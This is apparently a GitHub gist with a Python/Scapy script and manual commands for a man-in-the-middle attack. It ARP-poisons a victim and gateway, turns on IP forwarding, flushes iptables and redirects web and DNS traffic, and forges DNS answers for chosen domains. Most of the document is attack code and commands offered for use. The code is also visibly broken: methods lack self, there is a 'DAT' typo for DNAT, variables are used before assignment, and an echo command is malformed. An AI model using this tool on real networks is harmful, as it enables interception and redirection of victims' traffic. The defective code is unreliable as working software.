Skip to content

Instantly share code, notes, and snippets.

@davidlares
Last active July 22, 2024 09:24
Show Gist options
  • Save davidlares/68a6c782bd8f5463431b4d29ac5d41eb to your computer and use it in GitHub Desktop.
Save davidlares/68a6c782bd8f5463431b4d29ac5d41eb to your computer and use it in GitHub Desktop.
MITM ARP/DNS Spoof with Scapy
#!/usr/bin/python
from scapy.all import *
import threading
import argparse
import pdb
import sys
import os
class ARPPoisoning(threading.Thread):
# Receive the source and destination address for the ARP packet.
def __init__(self, srcAddress, dstAddress):
threading.Thread.__init__(self)
self.srcAddress = srcAddress
self.dstAddress = dstAddress
# Every thread sends an ARP packet to the destination every second.
def run(self):
try:
# creating ARP packet
arpPacket = ARP(pdst=self.dstAddress, psrc=self.srcAddress)
# send packet every 1 second
send(arpPacket, verbose=False, loop=1)
except:
print "Unexpected error:", sys.exc_info()[0]
class DNSSpoofing():
def __init__(self, interface, capFilter, addressToRedirect):
self.interface = interface
self.filter = capFilter
self.addressToRedirect = addressToRedirect
# Start the attack with the domains specified by command-line
def startAttack(self, domains, verbose):
self.verbose = verbose
fd = open(domains)
self.target = {}
for line in fd.readlines():
self.target[line.split(':')[0]] = (line.split(':')[1]).replace('\n')
try:
cleanRules()
self.enableForwarding()
self.redirectionRules()
sniff(iface=self.interface, filter=self.filter, prn=self.ShowOrPoisoning)
except KeyboardInterrupt:
raise
except:
self.disableForwarding()
self.cleanRules()
# The attacker machine needs to forward the packets between gateway and victim.
def enableForwarding():
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
# IPTables rules to redirect the traffic to the specified destination.
def redirectionRules():
os.system("iptables --flush")
os.system("iptables --zero")
os.system("iptables --delete-chain")
os.system("iptables -F -t nat")
os.system("iptables --append FORWARD --in-interface "+self.interface+" --jump ACCEPT")
os.system("iptables --table nat --append POSTROUTING --out-interface "+self.interface+" --jump MASQUERADE")
os.system("iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination "+self.addressToRedirect)
os.system("iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DAT --to-destination "+self.addressToRedirect)
os.system("iptables -A INPUT -p udp -s 0/0 --sport 1024:65535 -d 192.168.1.1 --dport 53 -m state --state NEW,ESTABLISHED -j DROP")
os.system("iptables -A OUTPUT -p udp -s 192.168.1.1 --sport 53 -d 0/0 --dport 1024:65535 -m state --state ESTABLISHED -j DROP")
os.system("iptables -A INPUT -p udp -s 0/0 --sport 53 -d 192.168.1.1 --dport 53 -m state --state NEW,ESTABLISHED -j DROP")
os.system("iptables -A OUTPUT -p udp -s 192.168.1.1 --sport 53 -d 0/0 --dport 53 -m state --state ESTABLISHED -j DROP")
os.system("iptables -t nat -A PREROUTING -i "+self.interface+" -p udp --dport 53 -j DNAT --to "+self.addressToRedirect)
os.system("iptables -t nat -A PREROUTING -i "+self.interface+" -p tcp --dport 53 -j DNAT --to "+self.addressToRedirect)
# clean the IPTables rules
def cleanRules():
os.system("iptables --flush")
# Disable the packet forwarding in this machine.
def disableForwarding():
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
# Filter the DNS packets from the Gateway
def ShowOrPoisoning(packet):
# check for DNS layer and qr attribute
if packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0 and len(self.target) > 0:
for targetDomain, ipAddressTarget in self.target.items():
if packet.getlayer(DNS).qd.qname == targetDomain:
try:
if self.verbose:
print '[+] Target Domain %s searched... ' %(self.targetDomain)
print '[+] Crafting the DNS Packet with tht following settings: '
print '[+] IP Source: %s ' %(requestIP.dst)
print '[+] IP Dest: %s ' %(requestIP.src)
print '[+] Port Source: %s ' %(requestUDP.dport)
print '[+] Port Dest: %s ' %(requestUDP.sport)
print '[+] RRName: %s ' %(packet.getlayer(DNS).qd.qname)
print '[+] RData: %s ' %(ipAddressTarget)
print '[+] DNS Packet ID: %s ' %(requestDNS.id)
# extracting layers
requestIP = packet[IP]
requestUDP = packet[UDP]
requestDNS = packet[DNS]
requestDNSQR = packet[DNSQR] # DNS request itselfs
# Forming response
responseIP = IP(src=requestIP.dst, dst=requestIP.src)
responseUDP = UDP(sport = requestUDP.dport, dport = requestUDP.sport)
responseDNSRR = DNSRR(rrname=packet.getlayer(DNS).qd.qname, rdata = ipAddressTarget) # Response DNS (IP of the attacker)
responseDNS = DNS(qr=1,id=requestDNS.id, qd=requestDNSQR, an=responseDNSRR) # qd = DNS request, an = DNS response packet
answer = responseIP/responseUDP/responseDNS # packing layers
send(answer) # send it (re-injection)
except:
print "Unexpected error:", sys.exc_info()[0]
print "Exception..."
else:
print packet.summary()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="ARP-MITM and DNS-Spoofing Tool")
parser.add_argument("-t", "--target", required=True, help="Victim IP Address")
parser.add_argument("-g", "--gateway", required=True, default="192.168.1.1", help="Gateway IP Address")
parser.add_argument("-r", "--route", required=True, help="Redirect all HTTP/HTTPS trafic to the specified Ip Address.")
parser.add_argument("-d", "--domains", required=True, help="File to perform DNS Spoofing.")
parser.add_argument("-v", "--verbose", required=False, default=False, help="Verbose")
parser.add_argument("-i", "--interface", required=False, default="eth0", help="IFace to use.")
parser.add_argument("-f", "--filter", required=False, default="udp port 53", help="Capture Filter.")
# args processing
args = parser.parse_args()
enableForwarding() # acting as router (attacker)
redirectionRules(args.route, args.interface) # invoke IPTables described
gateway_ip = args.gateway
victim_ip = args.target
# ARP poisoning instance
victim = ARPPoisoning(gateway_ip, victim_ip)
# ARP poisoning instance
gateway = ARPPoisoning(victim_ip, gateway_ip)
victim.setDaemon(True)
gateway.setDaemon(True)
# running thread simultaneously
victim.start()
gateway.start()
# Sniffing with filters and IPtables routes set (UDP in port 53 = all DNS)
dnsSpoof = DNSSpoofing(args.interface, args.filter, args.route)
# start attack
dnsSpoof.startAttack(args.domains, args.verbose)
# RUN: python file.py -t [target] -g [gateway]
192.168.1.103 *
192.168.1.103 www.google.com

Manual approach

  1. arpspoof -i wlp11s0 -t 192.168.1.1 192.168.1.108 [GW] [Victim]

    • Both attacks in the gateway and the victim
    • It associates the MAC (attacking MAC address) to attacker net-iface MAC address
    • This is an MITM attack
  2. Add: echo > 1 /proc/sys/ipv4/ip_forward

    • The local machine will route packets between the GW and the victim. By local machine = Attacker machine
  3. Filter DNS packets from the GW in order to respond DNS queries ourselves. Check suggested-ip-tables-rules

  4. DNS spoof to resolve DNS queries to an arbitrary IP. The Custom DNS resolver is found in dnsSpoofed.txt

    • dnsspoof -i wlp11s0 -f dnsSpoofed.txt
  5. Setup a Web Server for handling HTTP requests (attacker machine)

iptables --flush
iptables --zero
iptables --delete-chain
iptables -F -t nat
iptables --append FORWARD --in-interface eth0 --jump ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 --jump MASQUERADE
iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination 192.168.1.103
iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination 192.168.1.103
iptables -A INPUT -p udp -s 0/0 --sport 1024:65535 -d 192.168.1.1 --dport 53 -m state --state NEW,ESTABLISHED -j DROP
iptables -A OUTPUT -p udp -s 192.168.1.1 --sport 53 -d 0/0 --dport 1024:65535 -m state --state ESTABLISHED -j DROP
iptables -A INPUT -p udp -s 0/0 --sport 53 -d 192.168.1.1 --dport 53 -m state --state NEW,ESTABLISHED -j DROP
iptables -A OUTPUT -p udp -s 192.168.1.1 --sport 53 -d 0/0 --dport 53 -m state --state ESTABLISHED -j DROP
iptables -t nat -A PREROUTING -i eth0 -p udp --dport 53 -j DNAT --to 192.168.1.103
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 53 -j DNAT --to 192.168.1.103
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment